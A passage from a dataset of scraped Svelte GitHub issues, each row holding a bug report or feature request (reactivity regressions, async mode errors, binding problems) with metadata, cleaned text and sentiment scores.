When performing a chain of derived statements the first re-render works correctly but any subsequent expected re-renders don't happen.

I'm not quite sure what's the cause of this currently, but this was working perfectly fine in svelte `5.43.3`:

<https://svelte.dev/playground/52b72be7ad104bfa91fe6fcaf475a63d?version=5.43.3#H4sIAAAAAAAAE22QPW-DMBCG_4p7ymAki6RfCw2R2k6ZM8YZiH20VuFA9pE0Qvz3yiSFDh393nPPWW8PVNQIGbx1H6CgdBUGyPY98KWNcQxA_UKvbZuGE1Ycs2MR8L_cNMRIHCCDdTDetbzRpNnVbeNZ9LuR2yEPovRNLTRcN5ceC8Pu5Pii4SVumIYCC2eDyMV-pe7Vg3pUT-r58GcaEGk7EoRnMbllEpmJ6mjmFha9O6GVzoa0dBWjl9LZROQbcXfD0s8ixCwZNTyLTOc9Em_tX9FkTwuWq9vOwlFo0fA8TTStl3MhtD52zA2J2HSu4frSIBoylTNfeS_HP01ua-V0PhnGTt8jWGMm-mkyxCtX10YTKGD8ZsjYdzgcFHDhqrMjC1lZVAGHH1RjQwsAAgAA>

### Reproduction

To reproduce click the button and we expect to see the number inside the button increment through 0-5.

https://svelte.dev/playground/52b72be7ad104bfa91fe6fcaf475a63d?version=5.43.5

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.1
    CPU: (16) arm64 Apple M4 Max
    Memory: 175.92 MB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.19.0 - /Users/away/Library/pnpm/node
    npm: 10.9.3 - /Users/away/Library/pnpm/npm
    pnpm: 10.20.0 - /Users/away/Library/pnpm/pnpm
  Browsers:
    Chrome: 142.0.7444.135
    Edge: 142.0.3595.65
    Safari: 26.1
  npmPackages:
    svelte: 5.43.5 => 5.43.5
```

### Severity

blocking an upgrade",,2025-11-10 11:38:03+00:00,2025-11-17 22:00:01+00:00,1,nan,7.4319,re rendering only happens once describe the bug when performing a chain of derived statements the first re render works correctly but any subsequent expected re renders don t happen i m not quite sure what s the cause of this currently but this was working perfectly fine in svelte reproduction to reproduce click the button and we expect to see the number inside the button increment through logs system info severity blocking an upgrade,bug,0.3142
sveltejs/svelte,3605400318,Reactivity throws `Svelte error: flush_sync_in_effect` when upgrading from `5.35.0` to `>=5.36.0`,"### Describe the bug

The `5.36.0` version throws `Svelte error: flush_sync_in_effect` when clicking the `Open` button, this is a unexpected regression.

### Reproduction

- [Collapsible in 5.35.0](https://svelte.dev/playground/c1abf009ff794b8c880b301e3f8d1fb9?version=5.35.0)
- [Collapsible in 5.36.0](https://svelte.dev/playground/c1abf009ff794b8c880b301e3f8d1fb9?version=5.36.0)

Steps:
1. Open the REPL
2. Click on `Open`
3. View console to see crash: `Svelte error: flush_sync_in_effect`

### Logs

```shell
Error
Svelte error: flush_sync_in_effect
Cannot use `flushSync` inside an effect
https://svelte.dev/e/flush_sync_in_effect
    at flush_sync_in_effect (playground:output:462:18)
    at flushSync (playground:output:2429:4)
    at flush (playground:output:9902:3)
    at setInitial (playground:output:11802:10)
    at action (playground:output:9715:9)
    at eval (playground:output:11630:8)
    at $effect (playground:output:9573:5)
    at update_reaction (playground:output:4178:57)
    at update_effect (playground:output:4358:19)
    at flush_queued_effects (playground:output:2520:6)
```

### System Info

```shell
-
```

### Severity

blocking an upgrade",,2025-11-09 19:37:38+00:00,2025-11-24 21:46:35+00:00,0,nan,15.0895,reactivity throws when upgrading from to describe the bug the version throws when clicking the button this is a unexpected regression reproduction collapsible in collapsible in steps open the repl click on view console to see crash logs system info severity blocking an upgrade,bug,-0.8625
sveltejs/svelte,3604398585,`$derived($state.eager())` reactivity loss,"### Describe the bug

Since 5.43.4 if you include `$state.eager()` in a `$derived` or `$derived.by` the reactivity can stop working.

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.43.5#H4sIAAAAAAAAE22QQWvDMAyF_4onCnWgNHcvCeww2G2X3dYdXFsNpp5tbLXdCPnvs5Nsg2y-GD1970loACffEQQ8obWe3Xy0mnHUhlBXsIOTsZhAvA5An6FwRcj64noIYZ-uaKloR5nwP115R-gox0CTVDSBuoNj-Vkk5gM61rJNIknIT9ImrO4PbgayMxHTGM0V9aPsMT4v-KLx2bfH0uMlq_p1b4xLARXx7Tphu_sTWmxN_bNeLo4XIu-Yd8oadW4HXrG2-973rvxj9-L73mJTz-zsC13pCTZMSFOHbhLXAzOwlhY4n4zwg0BQvOD4litp7M04DWK6z_gF5aoehLUBAAA)

```svelte
<script>
    let open = $state(false);

    const derivedEagerOpen = $derived($state.eager(open));

    $inspect('derivedEagerOpen', derivedEagerOpen);
</script>

<button onclick={() => open = !open}>Toggle</button>

<p>open: {open}</p>
<p>derivedEagerOpen: {derivedEagerOpen}</p>
```

Please keep in mind this is just a silly minimal reproduction of the underlying cause of some complex bits-ui popover issues I've been having.[ Please believe me there is a good reason for using `$state.eager` like this. (closing a combobox immediately after selecting to be consistent with native select element behaviour).](https://svelte.dev/playground/hello-world?version=5.43.5#H4sIAAAAAAAAE3VSTU_DMAz9K1ZAWiuNVVxLWwlx4QZC3CiHbHWnSFkSJV4HqvrfSbqwddDl5uf3IdvpmeI7ZDl7Rik1HLSVDSTYCMImZUvWComO5R89o28TeAHweFQ9GrNyHUoK2Jo7nMM3WhEq8jascBsrDIHkalvWjFzNqlqBf2JntCXo4VUb3aGFAVqrd7BYC3J3e7F4qNWRyQ9cENyfaokE2qCCEm4dccKk5dJh6glFdsyrArdoRBfDihi... [TRUNCATED]",,2025-11-09 03:08:50+00:00,2025-11-17 22:00:01+00:00,1,nan,8.7855,reactivity loss describe the bug since if you include in a or the reactivity can stop working reproduction repl please keep in mind this is just a silly of the underlying cause of some complex bits ui popover issues i ve been having please believe me there is a good reason for using like this closing a combobox immediately after selecting to be consistent with native select element behaviour truncated,others,0.3818
sveltejs/svelte,3604076733,Function bindings broken in async component,"### Describe the bug

Since 5.43.0 function bindings are throwing various errors in async components.

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.43.5#H4sIAAAAAAAAE22OwUrEQBBEf6VphE1gcPE6Zhf25hd4MR5mMx0ZGDtDppIoIf8uo2a9eGhoql9V9crq3oUtP0mMAy3DGD1V4gPE12y4D1Ey25eV8ZkKVwQ2u-uS0n2eJaJoV5flP70bFKLIbLnJ3RgSzq22cIsLoIfHspeJAppdnIROdJfhINXhUJeztugn7RAGpTfBc4GqmlYaBdOov67tJ4joxuadnQu8Z8-FbI5_n2gTNE2ga1Bvv6nTuteYW8hGx3OrxIYhH2CLcZLt1TBciEtQz7Z3Mcv2BexDgiNSAQAA)

```svelte
<script>
	await 1;
	
	let value = $state('');

	function getValue() { return value }

	function setValue(v) { value = v }
</script>

<input bind:value={getValue, setValue} />
 ```

### Logs

```shell
Cannot read properties of undefined (reading 'f') in <unknown> in __wrapper.svelte
```

### System Info

```shell
Svelte playground
```

### Severity

blocking an upgrade",,2025-11-08 22:03:16+00:00,2025-11-17 21:58:42+00:00,4,nan,8.9968,function bindings broken in async component describe the bug since function bindings are throwing various errors in async components reproduction repl logs system info severity blocking an upgrade,others,-0.8779
sveltejs/svelte,3603376614,Weird .refresh() behaviour with different schema libraries,"### Describe the bug

I am using arktype in my project and ran into an issue with query refresh. If i have schema with object shape and fill properties for command param in order different than i pass to query, i dont get a refresh. But once i do pass properties in the same order, refresh works as expected. I tried the same with valibot, but with valibot everything works fine

### Reproduction

https://www.sveltelab.dev/eve63v4438x0y30?files=.%2Fsrc%2Froutes%2F%2Bpage.svelte%2C.%2Fsrc%2Froutes%2Fdata.remote.js

1. Hit second increment button - second counter should update
2. Try to change order of properties for ```getCounterWithParams()``` and ```incrementWithParams()```
3. Go to the ```data.remote.js``` and uncomment second Param schema
4. Try to hit second increment button

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes   
  Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    svelte: ^5.43.4 => 5.43.4
```

### Severity

annoyance",,2025-11-08 10:33:21+00:00,2025-11-08 10:45:37+00:00,0,nan,0.0085,weird refresh behaviour with different schema libraries describe the bug i am using arktype in my project and ran into an issue with query refresh if i have schema with object shape and fill properties for command param in order different than i pass to query i dont get a refresh but once i do pass properties in the same order refresh works as expected i tried the same with valibot but with valibot everything works fine reproduction hit second increment button second counter should update try to change order of properties for and go to the and uncomment second param schema try to hit second increment button logs system info severity annoyance,others,-0.4767
sveltejs/svelte,3597609405,Async Render bug 5.43.0,"### Describe the bug

If a query is awaited before initializing a tanstack-form, a render error occurs.  If the query is awaited in the markup, it seems fine.  However for my use case, I need the data from the awaited query to initialize a tanstack form.

### Reproduction

[StackBlitz](https://stackblitz.com/edit/vitejs-vite-guqy9vkk?file=src%2Froutes%2F%2Bpage.svelte)

There are 2 workarounds
1. Do not await the query in script , and instead await it in the markup.  This unfortunately does not work for my use case, as I want to use the query data to set the default values for the form
2. Downgrade to svelte@5.42.3

### Logs

```shell
TypeError: Cannot read properties of undefined (reading 'Field')
    at eval (src/routes/+page.svelte:120:10)
    at Renderer.child (node_modules/svelte/src/internal/server/renderer.js:194:18)
    at Renderer.component (node_modules/svelte/src/internal/server/renderer.js:219:22)
    at _page (src/routes/+page.svelte:19:13)
    at eval (.svelte-kit/generated/root.svelte:74:7)
    at eval (src/routes/+layout.svelte:27:4)
    at Renderer.child (node_modules/svelte/src/internal/server/renderer.js:194:18)
    at Renderer.component (node_modules/svelte/src/internal/server/renderer.js:219:22)
    at _layout (src/routes/+layout.svelte:17:13)
```

### System Info

```shell
System:
    OS: macOS 26.1
    CPU: (10) arm64 Apple M4
    Memory: 486.17 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 25.1.0 - /Users/timchen/.proto/tools/node/25.1.... [TRUNCATED]",,2025-11-06 20:55:16+00:00,2025-11-16 02:01:28+00:00,3,nan,9.2126,async render bug describe the bug if a query is awaited before initializing a tanstack form a render error occurs if the query is awaited in the markup it seems fine however for my use case i need the data from the awaited query to initialize a tanstack form reproduction stackblitz there are workarounds do not await the query in script and instead await it in the markup this unfortunately does not work for my use case as i want to use the query data to set the default values for the form downgrade to svelte logs system info shell system os macos cpu arm apple m memory mb gb shell bin zsh binaries node users timchen proto tools node truncated,bug,-0.8335
sveltejs/svelte,3593375254,Experimental Async with preload and conditional bind:this kills reactivity,"### Describe the bug

With hover preloading on and async enabled, it seems that conditional `bind:this` can somehow break reactivity for the application.

Minimal repro below. The select box uses the `bind:this` for absolutely nothing in the repro, but it still breaks. Remove the `bind:this`, disable preloading, or disable async and things behave as expected.

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-zl41pabn?file=src%2Froutes%2F%2Bpage.svelte

### Logs

```shell

```

### System Info

```shell
System:
    OS: Windows 10 10.0.19045
    CPU: (32) x64 AMD Ryzen 9 5950X 16-Core Processor
    Memory: 31.45 GB / 63.89 GB
  Binaries:
    Node: 22.12.0 - C:\nvm4w\nodejs\node.EXE
    npm: 10.9.0 - C:\nvm4w\nodejs\npm.CMD
  Browsers:
    Chrome: 141.0.7390.123
    Edge: Chromium (140.0.3485.54)
    Firefox: 144.0.2 - C:\Program Files\Mozilla Firefox\firefox.exe
    Firefox Developer Edition: 137.0 - C:\Program Files\Firefox Developer Edition\firefox.exe
    Internet Explorer: 11.0.19041.5794
```

### Severity

annoyance",,2025-11-06 00:41:55+00:00,2025-11-16 02:19:31+00:00,10,nan,10.0678,experimental async with preload and conditional bind this kills reactivity describe the bug with hover preloading on and async enabled it seems that conditional can somehow break reactivity for the application minimal repro below the select box uses the for absolutely nothing in the repro but it still breaks remove the disable preloading or disable async and things behave as expected reproduction logs system info severity annoyance,others,-0.7588
sveltejs/svelte,3588810330,svelte:head updates prematurely in async mode,"### Describe the bug

I have a page where you can contact other users. The route is `/contact/[id]` the +page.server.ts file for that page retrieves the user information you are trying to contact from the DB and returns it via load. Then the svelte head is set on that page to display a title of `Contact <name>` and also displays the info of the person you are contacting. The links to reach these pages are just simple anchor tags.

The issue I am facing is that just hovering over the anchor tag the data is preloaded and updates the page title and any other head content before clicking on the anchor. Also, clicking on the anchor tag ends up causing the app to crash or freeze. Once you reload the page, the previous clicks are added into the window history.

### Reproduction

[Github Repo](https://github.com/agillispie/page-data-test) 

### Logs

```Shell
no logs are displayed
```

### System Info

```Shell
System:
    OS: macOS 26.0
    CPU: (10) arm64 Apple M4
    Memory: 137.41 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.13.1 - /Users/agill/.nvm/versions/node/v22.13.1/bin/node
    npm: 11.2.0 - /Users/agill/.nvm/versions/node/v22.13.1/bin/npm
    pnpm: 10.20.0 - /Users/agill/.nvm/versions/node/v22.13.1/bin/pnpm
    bun: 1.2.21 - /Users/agill/.bun/bin/bun
  Browsers:
    Chrome: 142.0.7444.60
    Safari: 26.0
  npmPackages:
    @sveltejs/adapter-auto: ^7.0.0 => 7.0.0 
    @sveltejs/kit: ^2.47.1 => 2.48.4 
    @sveltejs/vite-plugin-svelte: ^6.2.1 => 6.2.1 
 ... [TRUNCATED]",,2025-11-04 23:55:35+00:00,2025-11-16 01:40:36+00:00,3,nan,11.0729,svelte head updates prematurely in async mode describe the bug i have a page where you can contact other users the route is the page server ts file for that page retrieves the user information you are trying to contact from the db and returns it via load then the svelte head is set on that page to display a title of and also displays the info of the person you are contacting the links to reach these pages are just simple anchor tags the issue i am facing is that just hovering over the anchor tag the data is preloaded and updates the page title and any other head content before clicking on the anchor also clicking on the anchor tag ends up causing the app to crash or freeze once you reload the page the previous clicks are added into the window history reproduction github repo logs system info shell system os macos cpu arm apple m memory mb gb shell bin zsh binaries node users agill nvm versions node v bin node npm users agill nvm versions node v bin npm pnpm users agill nvm versions node v bin pnpm bun users agill bun bin bun browsers chrome safari npmpackages sveltejs adapter auto sveltejs kit sveltejs vite plugin svelte truncated,others,-0.7717
sveltejs/svelte,3587854079,"`bind:value={[getter, setter]}` in a tuple to allow programatic creation of binding functions","### Describe the problem

It's a simple matter, but i find myself wanting this often. I'll keep it brief.

### Describe the proposed solution

Allowing `bind:` to accept a tuple of a [getter, setter]:

```svelte
<script lang=""ts"">
	const unassignable = {
		inner: 'value'
	};

	const createBinding = <T extends Record<string, any>>(object: T) => {
		return [() => object, (v: T) => doSomethingToObject(object, v)] as const;
	};
</script>

<Component bind:value={createBinding(unassignable)} />

<!-- OR / AND -->

<Component bind:value={...createBinding(unassignable)} />
```

### Importance

nice to have",,2025-11-04 19:02:34+00:00,2025-11-04 19:07:08+00:00,1,nan,0.0032,in a tuple to allow programatic creation of binding functions describe the problem it s a simple matter but i find myself wanting this often i ll keep it brief describe the proposed solution allowing to accept a tuple of a getter setter importance nice to have,others,0.926
sveltejs/svelte,3587408281,event.stopPropagation() does not work when nested element within event using onMount(),"### Describe the bug

event.stopPropagation() appears to not work when an outer element has an event listener added via `onMount() `and an inner element has an event listener added via `onclick()` 

Stop propagation works when using <code>on:click</code> but does not work for <code>onclick</code>

The expected behavior is that `onclick()` should stop propagation, the same as `on:click()` did.

### Reproduction

Example:
https://svelte.dev/playground/eb16168190f3490dad1e8cdbccdcfacf?version=5.23.1

If you click on the outer element (i.e. the ""count"" text) it adds 2.
If you click on the inner element (i.e. the number) it should add 1.
But because stopPropagation() does not work, it adds 3.


### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.6.1
    CPU: (10) arm64 Apple M1 Pro
  Binaries:
    Node: 22.15.0 - /Users/aaronevans/.nvm/versions/node/v22.15.0/bin/node
    npm: 10.9.2 - /Users/aaronevans/.nvm/versions/node/v22.15.0/bin/npm
  Browsers:
    Brave Browser: 141.1.83.118
    Chrome: 142.0.7444.60
  npmPackages:
    svelte: ^5.41.0 => 5.43.2
```

### Severity

annoyance",,2025-11-04 16:49:10+00:00,2026-03-21 10:59:59+00:00,6,nan,136.7575,event stoppropagation does not work when nested element within event using onmount describe the bug event stoppropagation appears to not work when an outer element has an event listener added via and an inner element has an event listener added via stop propagation works when using on click but does not work for onclick the is that should stop propagation the same as did reproduction example if you click on the outer element i e the count text it adds if you click on the inner element i e the number it should add but because stoppropagation does not work it adds logs system info severity annoyance,others,-0.7845
sveltejs/svelte,3587001199,`fork` breaks reactivity of class fields in object from a `$derived`,"### Describe the bug

After the fork is committed, updates to a class field where the object is returned from a `$derived` (or a `$derived.by`) are no longer reflected in the DOM.

See comments in the reproduction for details.

(Found in a SvelteKit project, where the original `$derived.by` actually has dependencies.)

### Reproduction

https://svelte.dev/playground/hello-world?version=5.43.3#H4sIAAAAAAAAA41S227CMAz9FStDohWo3TOUStNe9gto7KG07ohIk6oxFFTl3xcHEAVt0h597OPLOR6ELhoUC_GBShnoTacqiLCShFUs5qKWCq1YfA6Czi3XMeDxK-utbRN7REWMbQuLv-Gl0YSafBuR2bKTLeUbvSHZtKYjGKA23R4c1J1pYHphTZejived9Etd0kkaomRclqagkOAEK5hYKggj6g4YLwF8ppe0MwcKQ6T-nkOpZLkHqcsOG96KOzzR60LZMf-ZXBm0oA3tPLbRWXo_SmfbA5HRYHQoXQ1RDKscBp7idbB-ET-H-0WjzIZ4Om_NkYvDWXVSmqaRFHHoXM6kLL30D7OGF1nDyXFtdtEo9fiQytp51QlPJBbc083_cG8s5aN_T5k_HCxVYS2sbzfUxtw1fI3DKSN_zj6psYd1dJXW62f54_b2QeWbIVw_qbCTR6yiK3HMZBf0lP5nwDnx281mLg_oSMaszYeQdFna5o-6ffmokKqXuhKL8BTuB2XYA4cwAwAA

### Logs

```shell

```

### System Info

```shell
n/a
```

### Severity

blocking an upgrade",,2025-11-04 15:08:21+00:00,2026-01-12 20:14:10+00:00,2,nan,69.2124,breaks reactivity of class fields in object from a describe the bug after the fork is committed updates to a class field where the object is returned from a or a are no longer reflected in the dom see comments in the reproduction for details found in a sveltekit project where the original actually has dependencies reproduction logs system info severity blocking an upgrade,others,-0.5267
sveltejs/svelte,3585632133,$effect.pending flaky behaviour,"### Describe the bug

Sometimes $effect.pending() doesn't work, I don't know the exact conditions but check out the repro below for an example.

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.43.3#H4sIAAAAAAAAE21Ry07DMBD8lZXhkJSSPo4hjcQNbpXgxkMyzgYsHDvYm4Qqyr-zcQu9cLAlz87Mzq5HYWWDIhd3aIyDwXlTQYKVJqxSsRS1NhhE_jQKOrQzbwYYP6lu2zYLPRqasTcZ8D9cOUtoiW1EEZTXLZXP9pkMEvTSdAg7uAwkCZN1esMVrslwsArqzirSzkKFRh6wSvoUxrnMhEFqAosD7L1rdMDEw66EgPSoG3QdJX4Jm_V6nUZLVnikzlvo43OK2ClEMG54-Oqkj0kq9LrnXscOf51j0MUCttGwWJ0HscVbR8QpnVVGq8_dmKRzlii5uprKe6s8NryBYnVkRtV4oWu4xLpGRVmLttL2PUljsKIt9-hr5xvGQM_bC5wJGkkfyJdW0gAf1Rk57ydkWVasWrYdczQBgZ2PgcsdXG9-PceITfAKWx50PI89ncQrXc9cy39G-E0iJ8_8F35JbQZtK5HXkv2nH4Czb442AgAA)


```svelte
<script>
	let value = $state(0);

	async function delayed(v) {
		await new Promise(r => setTimeout(r, 1000));
		return v;
	}
	
	let slowSquare = $derived(await delayed(value ** 2));
</script>

<button onclick={() => value++}>Increment</button>

{#if $effect.pending()}
	<p>Performing intensive mathematical calculations...</p>
{:else if value >= -1}
	<p>{value} ^ 2 = {slowSquare}</p>
{/if}
```

### Logs

```shell

```

### System Info

```shell
svelte playground
```

### Severity

annoyance",,2025-11-04 09:34:58+00:00,2026-05-19 14:24:41+00:00,3,nan,196.2012,effect pending flaky behaviour describe the bug sometimes effect pending doesn t work i don t know the exact conditions but check out the repro below for an example reproduction repl logs system info severity annoyance,others,-0.6059
sveltejs/svelte,3585611440,Async derived causes bind:this refs to revert to initial state when passed as props,"### Describe the bug

The Popover from bits-ui is not opening under certain weird conditions.

Broken since 5.43.0

**Edit:** I have narrowed down the issue and made a REPL that has no bits-ui dependency to expose the svelte reactivity bug.

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.43.3#H4sIAAAAAAAAE41TwW7TQBD9ldFSKY4a1eHAxbWNoEJqJeDUG-bgxGNnxWbX2p0kIOMjNz4Bfq5fwqzXSeNSJC727ps3b2be2J3Q5RZFIm5RKQMHY1UFEVaSsJqLhailQieST52gb63neYDxMetN2165PSry2Kp0-By-NppQE8uI1K2tbAlUqZusEOQKkRe6ILltjSW4MfzWzIXami0U4io-QaNeIa45gVMUEqx2REa_U7j1ORlcOCoJ09v7D-_fTkLfQe-UyiP_nI8CcQzouGOSpQIyQFY2DVqgDbJwc6xRG-OVK7Ryj1VUHkpJ8NKLpHGYxk-g09ALrKSuEtpIl3WT7vo8dJTGAQ5JjwNbrJ9mQDyQuhey9l30vqO0zdO4ZbyLZc0I20v4lURCdof94h9remridFnPRP9jZd6bzrcNfRIOCXjjp5ZD781rrWldND_bHMn1l9PCouUQGgKsc-c--sxTtC6Vw2OyQ7rj3uy-VFE0hywfpC4vF_BquTySLrCucU0jofNQQZ53HY7nRfwEWZYN3Q7h_u_dVnKfH913ZI1u8ntWS5gVbtB59T6sZsK72Uj-o7w7Z-TH-q9h9vD751B8Bglffv0AHnE2SqVxKD1d82e-lVId-FMTyeBO_wfJwHkTyAMAAA)

### Logs

```shell

```

### System Info

```shell
svelte playground
```

### Severity

blocking an upgrade",,2025-11-04 09:31:27+00:00,2025-11-11 05:55:15+00:00,17,nan,6.8499,async derived causes bind this refs to revert to initial state when passed as props describe the bug the popover from bits ui is not opening under certain weird conditions broken since edit i have narrowed down the issue and made a repl that has no bits ui dependency to expose the svelte reactivity bug reproduction repl logs system info severity blocking an upgrade,others,-0.9434
sveltejs/svelte,3585222831,Error regression since 5.39.0,"### Describe the bug

There is quite significant difference in errors.

Async mode and a [simple redirect in remote function](https://github.com/vladshcherbin/svelte-broken-error/blob/master/src/lib/remote/auth.remote.ts) on a [page](https://github.com/vladshcherbin/svelte-broken-error/blob/master/src/routes/private/%2Bpage.svelte) gives:

#### <= 5.38.10

✅ error is visible in console
✅ app is live after error
✅ error page shows error

<img width=""991"" height=""697"" alt=""Image"" src=""https://github.com/user-attachments/assets/044b9a23-f2af-491f-90ac-7a2eb3c0234c"" />

#### >= 5.39.0

✅ error is visible in console
❌ app is dead after error
❌ no error page due to dead app

<img width=""1358"" height=""651"" alt=""Image"" src=""https://github.com/user-attachments/assets/f695ea33-034f-4d36-bcf1-4268f05116a2"" />

#### >= 5.39.1

❌ error is undefined in console
✅ app is live after error
❌ error page is not shown due to redirect

<img width=""1174"" height=""703"" alt=""Image"" src=""https://github.com/user-attachments/assets/f11b68a9-b62e-4c93-98e0-4a42df29de23"" />

### Reproduction

https://github.com/vladshcherbin/svelte-broken-error

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.0
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.0.1
    npm: 11.3.0
    pnpm: 10.20.0
  Browsers:
    Chrome: 142.0.7444.60
    Safari: 26.0
  npmPackages:
    svelte: ^5.43.3 => 5.43.3
```

### Severity

blocking an upgrade",,2025-11-04 08:09:43+00:00,2026-06-04 20:52:18+00:00,1,nan,212.5296,error regression since describe the bug there is quite significant difference in errors async mode and a simple redirect in remote function on a page gives error is visible in console app is live after error error page shows error error is visible in console app is dead after error no error page due to dead app error is undefined in console app is live after error error page is not shown due to redirect reproduction logs system info severity blocking an upgrade,bug,-0.9935
sveltejs/svelte,3584994868,$derived(( {children: nav?.items} ))  Property 'items' does not exist on type 'never'.ts(2339),"- all package is up `pnpm up --latest`
- error: `Property 'items' does not exist on type 'never'.ts(2339) `
- `let root1` and `root2` is temp resolved.

<img width=""718"" height=""688"" alt=""Image"" src=""https://github.com/user-attachments/assets/0fe1e118-0dd6-4a5e-9af6-71a869574dfe"" />

```ts
<script lang=""ts"">
  interface NavItem {
  	id: string;
  	label: string;
  	url: string;
  	children?: NavItem[];
  }
  
  export interface Nav {
  	id: string;
  	siteId: string;
  	items: NavItem[];
  }

  let nav: Nav | null = $state(null);
  let root: NavItem = $derived(( {
  	id: '_root_',
  	label: '',
  	url: '',
  	children: nav?.items,
  } ));
  let root1: NavItem = $derived({
  	id: '_root_',
  	label: '',
  	url: '',
  	children: (nav as Nav | null)?.items,
  });
  let root2: NavItem = $derived.by(() => ({
  	id: '_root_',
  	label: '',
  	url: '',
  	children: nav?.items,
  }));
</script>
```",,2025-11-04 06:54:49+00:00,2025-11-04 11:12:11+00:00,1,nan,0.1787,derived children nav items property items does not exist on type never ts all package is up error and is temp resolved,others,-0.3182
sveltejs/svelte,3583292235,"Docs error (""Available since 5.7.0"" – that version isn't out yet)","### Describe the bug

On this page of the docs: https://svelte.dev/docs/svelte/svelte-reactivity#MediaQuery
It states that `MediaQuery` has been added in version `5.7.0` which is likely wrong.

### Reproduction

https://svelte.dev/docs/svelte/svelte-reactivity#MediaQuery

<img width=""815"" height=""196"" alt=""Image"" src=""https://github.com/user-attachments/assets/1955d0f4-a0f4-4587-b17a-b28463a1790b"" />

### Logs

```shell

```

### System Info

```shell
Website issue
```

### Severity

annoyance",,2025-11-03 18:45:28+00:00,2025-11-03 18:52:40+00:00,3,nan,0.005,docs error available since that version isn t out yet describe the bug on this page of the docs it states that has been added in version which is likely wrong reproduction logs system info severity annoyance,bug,-0.886
sveltejs/svelte,3580053732,Async: Values can get out of sync,"### Describe the bug

If you have a value X that causes a pending batch, and while that batch is pending cause creation of another batch which creates a new branch and therefore new template effects which also read that value X, those template effects are not correctly rescheduled once the pending batch resolves. As a result, the shown values of X get out of sync (once shows the old, once the new value). 

I believe it happens because the pending batch does not know of the new effects that are created (they are not in its (maybe_)dirty arrays), therefore does not schedule them as (maybe_)dirty on revival and therefore never runs them.

### Reproduction

https://svelte.dev/playground/c7e416c4b97446468ee85f3abf4bc676?version=5.41.4#H4sIAAAAAAAACn1STYvbMBD9K4O6YJuY2NCb1zEsvfXQFtpb04PjjNNhZUlI47WF0H8vSpbsd4-a9-bNG70JQvUTikbcOa8GOMwnUYqRJDrR_A6CvUlgKojySjVm6x5Qcqodeofv1QetGBU70YjWDZYMd3u1Z5qMtgxf_pI8wmj1BNm2Or8eW7PbRJPIsMIObhz3jHm2aCuPWXHF_BNWp2pbPc1Q7WFm1gq0GiQN97vQn3fLC9h1EJJEVaVNGzjjoBV4OOCoLQLThGBn5WA2t7CQlHCPaGAFUo6OCB56hkc_SSq5zGZFD2gdZnsVY7e21cXB-24uPvxmEzu_2bzghk80pr13zzVjGhP6pScGhQv8sHoih7lNMg75F02oZ85tCZ_rui6Kc0N7-eKwRqi6vQoVjfE6wkMH9X9oohSMK4uG7Yyx_OAOnsf28hJeIR_cQgoywAoxhWmsNi6_JDxo5bTErdSnfH0Tb_j68_u3rWNL6kSjz8Maizee_5SCe5ILqaNoxl46jP8Amw0uj-sCAAA

### Logs

```shell

```

### System Info

```shell
irrelevant
```

### Severity

blocking an upgrade",,2025-11-02 22:34:45+00:00,2026-03-27 23:02:06+00:00,1,nan,145.019,async values can get out of sync describe the bug if you have a value x that causes a pending batch and while that batch is pending cause creation of another batch which creates a new branch and therefore new template effects which also read that value x those template effects are not correctly rescheduled once the pending batch resolves as a result the shown values of x get out of sync once shows the old once the new value i believe it happens because the pending batch does not know of the new effects that are created they are not in its maybe dirty arrays therefore does not schedule them as maybe dirty on revival and therefore never runs them reproduction logs system info severity blocking an upgrade,others,0.7269
sveltejs/svelte,3578375150,Symbol keys in state objects are not spread into rest props,"### Describe the bug

In JavaScript it is possible to spread Symbol keys into rest props:

```js
const S = Symbol('key');
const a = { foo: 'bar', [S]: 42 }
const { foo, ...rest } = a;
console.log(rest[S]); // logs 42
```

But in Svelte this doesn't work:

```svelte
<script>
  const S = Symbol('key');
	
  let a = $state({ foo: 'bar', [S]: 42 });
  $inspect('a[S]:', a[S]); // 42

  let { foo, ...rest } = $derived(a);
  $inspect('rest[S]:', rest[S]); // undefined
</script>
```

### Reproduction

https://svelte.dev/playground/3798e7ae88584fd887cc81645c9522cc?version=5.43.2

### Logs

```shell

```

### System Info

```shell
All browsers, all Svelte 5.x versions (as far as I can tell)
```

### Severity

annoyance",,2025-11-01 19:44:39+00:00,2025-11-01 22:35:21+00:00,0,nan,0.1185,symbol keys in state objects are not spread into rest props describe the bug in javascript it is possible to spread symbol keys into rest props but in svelte this doesn t work reproduction logs system info severity annoyance,others,-0.6059
sveltejs/svelte,3575451620,Svelte 5.43.0+: Function bindings and `await` in a single component cause an error,"### Describe the bug

The following code causes an error:

```
<script lang=""ts"">
  const delay = (ms) => new Promise(resolve => setTimeout(resolve, ms))
  const test = await delay(1000)// <<< ❌ causes an error
  let width = $state(0)
  const updateWidth = (value: DOMRectReadOnly) => (width = value.width)
</script>

<div bind:contentRect={null, updateWidth}></div>
{width}
```

<img width=""1128"" height=""566"" alt=""Image"" src=""https://github.com/user-attachments/assets/c07c7d8c-9aa2-4d7f-8659-3ee2a4a7b498"" />


### Reproduction

